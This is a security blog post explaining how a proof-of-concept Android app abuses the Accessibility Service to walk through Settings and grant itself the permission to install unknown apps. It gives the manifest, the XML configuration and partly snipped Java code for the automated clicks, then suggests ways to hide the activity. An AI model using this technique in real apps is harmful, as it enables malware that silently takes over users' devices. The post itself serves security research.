Attacking Android Accessibility Service (AAS) - Part I

~$ cat How_an_Android_app_could_escalate_its_privileges.txt

About Accessibility Service

A few months ago, I heard about the malware Shedun, abusing the Accessibility Service of Android in order to do the bad things malwares do. In my opinion, it’s as simple as it’s clever. As the documentation says:

Accessibility services should only be used to assist users with disabilities in using Android devices and apps. They run in the background and receive callbacks by the system when AccessibilityEvents are fired. Such events denote some state transition in the user interface, for example, the focus has changed, a button has been clicked, etc. Such a service can optionally request the capability for querying the content of the active window. Development of an accessibility service requires extending this class and implementing its abstract methods.”

In other words, it’s a kind of component being put between the application and the user. Is it a good thing ? On one hand, yes, it is. AS makes the app more usable, and as we can read in the doc: Note: Although it’s beneficial to add accessibility features in your app, you should use them only for the purpose of helping users with disabilities interact with your app.

On the other hand, as we can easily imagine, there will be some problems in case of misuse … Indeed, a malicious application implementing this service could then “capture” the screen before display and interact with. Actually, it could be harmless (or to a lesser extent), if the service was not able to interact with other applications. Imagine how dangerous an application upgrading its privileges could be…

Does it seem so unrealistic ? Let’s take a closer look …

Setting up an Accessibility Service

To create an Accessibility Service, an application has to register it in the Manifest.xml, for example

<service android:name=".services.CustomAccessibilityService"
	android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
	<intent-filter>
	<action android:name="android.accessibilityservice.AccessibilityService"/>
	</intent-filter>
	<meta-data android:name="android.accessibilityservice"
		android:resource="@xml/accessibility_config"/>
</service>

The configuration could be done in Java, but some parameters (the most interesting ones actually) can only be set using XML:

<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
	android:accessibilityEventTypes="typeWindowContentChanged"
	android:packageNames="com.android.settings, xyz.noname.spyapp"
	android:accessibilityFeedbackType="feedbackAllMask"
	android:notificationTimeout="100"
	android:canRetrieveWindowContent="true"/>

We can see in the snippet just above three interesting things:

  • the service will be called each time the content of the window changes
  • two applications will be concerned: mine and Settings
  • the service is allowed to get the content of the current window

Java part

It’s then time to code the class CustomAccessibilityService! The class has to extend AccessibilityService:

public class CustomAccessibilityService extends AccessibilityService {
	@Override
	public void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
	}

	@Override
	public void onInterrupt() {
	}
}

The routine onAccessibilityEvent is the most important here, because it’s the one which will allow the developer to catch all events. I have to make the difference between events coming from my application, and those coming from Settings.

The principle of the application is quite simple:

  • check if my app has privileges. If not, launch the app Settings
  • reach the panel where my app will toggle the right switch
  • go back to my app

Since it’s only a PoC, the code is quite dirty and will probably not work on another device. The one I used on the emulator is a Nexus 5X

The most difficult part is to browse through the settings and find the right page. To do this, I decided to use a stack containing keywords, and creating a kind of “path” for my service. Each time the top of the stack is found on a widget, a click is programmatically done.

Then, since events coming from my application will appear at the beginning, I set up my stack at this moment. For events coming from Settings, a loop is used to follow the right path.

@Override
public void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
	switch (accessibilityEvent.getPackageName().toString()){
		case BuildConfig.APPLICATION_ID:
			if (stack == null){
				stack = new Stack<>();
			}
			else if (stack.size() != 5){
				stack.push("spyapp");
				stack.push("unknown");
				stack.push("special");
				stack.push("advanced");
				stack.push("app");
			}
			break;
		case Constants.PACKAGE_SETTINGS:
			AccessibilityNodeInfo info = accessibilityEvent.getSource();
			if (info != null && this.stack != null) {
				lookForPermissionsPanel(info);
			}
		break;
	}
}

Then, the job is done by the routine lookForPermissionsPanel which recursively scans the view, and tries to find the string on the top of the stack:

private boolean lookForPermissionsPanel(AccessibilityNodeInfo info) {
	if (info == null)
		return false;
	for (int c = 0; c < info.getChildCount(); c++){
		if (lookForPermissionsPanel(info.getChild(c))) {
			return true;
		}
	}
	if (info.getText() != null){
		String text = info.getText().toString().toLowerCase();
		if (!stack.empty() && (text.contains(stack.peek()) || text.equalsIgnoreCase(stack.peek()))){
			stack.pop();
			/**
			 * <snipped>
			 * here we deal with clickable widgets. To force the click, we use performAction(AccessibilityNodeInfo.ACTION_CLICK); on the node
			 * or on its parent.
			 * </snipped>
			 **/
		}
		else{
			/**
			 * <snipped>
			 * the stack is empty and we have to deal with the final toggle button, and to close Settings
			 * </snipped>
			 **/
		}
	}
	return false;
}

The routine returns true when a widget has been clicked

And finally, in the the main activity, we only have to launch Settings if our app doesn’t have the desired privileges:

@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
	super.onCreate(savedInstanceState);
	LinearLayout layout = (LinearLayout) LinearLayout.inflate(this, R.layout.activity_main, null);
	TextView text = layout.findViewById(R.id.text);
	text.setText(!getPackageManager().canRequestPackageInstalls() ? "Cannot install unknown apps" : "Allowed to install unknown apps");
	if (!getPackageManager().canRequestPackageInstalls() && isAccessibilitySettingsOn() && !Util.hasPermission(Manifest.permission.REQUEST_INSTALL_PACKAGES, this)) {
		Intent intent = context.getPackageManager().getLaunchIntentForPackage(Constants.PACKAGE_SETTINGS);
		if (intent != null) {
			intent.addCategory(Intent.CATEGORY_LAUNCHER);
			startActivity(intent);
		}
	}
	setContentView(layout);
}

where hasPermission is a routine returning true if the app has a permission, and isAccessibilitySettingsOn is another routine checking if our app is allowed to use the accessibility service (inspired by this solution):

public boolean isAccessibilityServiceOn() {
  AccessibilityManager am = (AccessibilityManager) getSystemService(Context.ACCESSIBILITY_SERVICE);
  assert am != null;
  List<AccessibilityServiceInfo> enabledServices = am.getEnabledAccessibilityServiceList(AccessibilityServiceInfo.FEEDBACK_ALL_MASK);
  for (AccessibilityServiceInfo enabledService : enabledServices) {
    ServiceInfo enabledServiceInfo = enabledService.getResolveInfo().serviceInfo;
    if (enabledServiceInfo.packageName.equals(getPackageName()) && enabledServiceInfo.name.equals(CustomAccessibilityService.class.getName()))
      return true;
  }
  return false;
}

So what ?

We might think that it’s not terrible since the user will see my app do its malicious job, and react quickly. It’s true, but I think about 2 things:

  • imagine that the malicious app is designed to do an unrecoverable thing. If the app is fast enough, the damage will be done
  • there are maybe some tricks to hide the malicious activity. Let’s say, set the brightness to 0 (even if it requires the permission WRITE_SETTINGS. Why not, social engineering is often better than expected)

here is a video showing the app running. As you can see, there is no permission at the beginning, and the app will escalate its privileges by browsing through Settings (the pointer doesn’t appear at this moment):

video_poc

2024

Exploiting CVE-2024-27096

7 minute read

Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The...

Back to Top ↑

2023

From SSRF to authentication bypass

4 minute read

I won’t insult you by explaining once again what JSON Web Tokens (JWTs) are, and how to attack them. A plethora of awesome articles exists on the Web, descri...

Hidden in plain sight - Part 2

10 minute read

A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_. The latter is c...

I want to talk to your managed code

12 minute read

TL;DR A few experiments about mixed managed/unmanaged assemblies. To begin with, we start by presenting a C# programme that hides a part of its payload in an...

Qakbot JScript dropper analysis

11 minute read

It was a sunny and warm summer afternoon, and while normal people would rush to the beach, I decided to devote myself to one of my favourite activities: suff...

CVE-2023-3033

3 minute read

This walkthrough presents another vulnerability discovered on the Mobatime web application (see CVE-2023-3032, same version 06.7.2022 affected). This vulnera...

CVE-2023-3032

less than 1 minute read

Mobatime offers various time-related products, such as check-in solutions. In versions up to 06.7.2022, an arbitrary file upload allowed an authenticated use...

CVE-2023-3031

less than 1 minute read

King-Avis is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to loc...

FuckFastCGI made simpler

3 minute read

Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open_basedir and disable_functio...

PHP .user.ini risks

6 minute read

I have to admit, PHP is not my favourite, but such powerful language sometimes really amazes me. Two days ago, I found a bypass of the directive open_basedir...

PHP open_basedir bypass

2 minute read

PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaini...

Back to Top ↑

2020

Self modifying C program - Polymorphic

19 minute read

A few weeks ago, a good friend of mine asked me if it was possible to create such a program, as it could modify itself. After some thoughts, I answered that ...

Back to Top ↑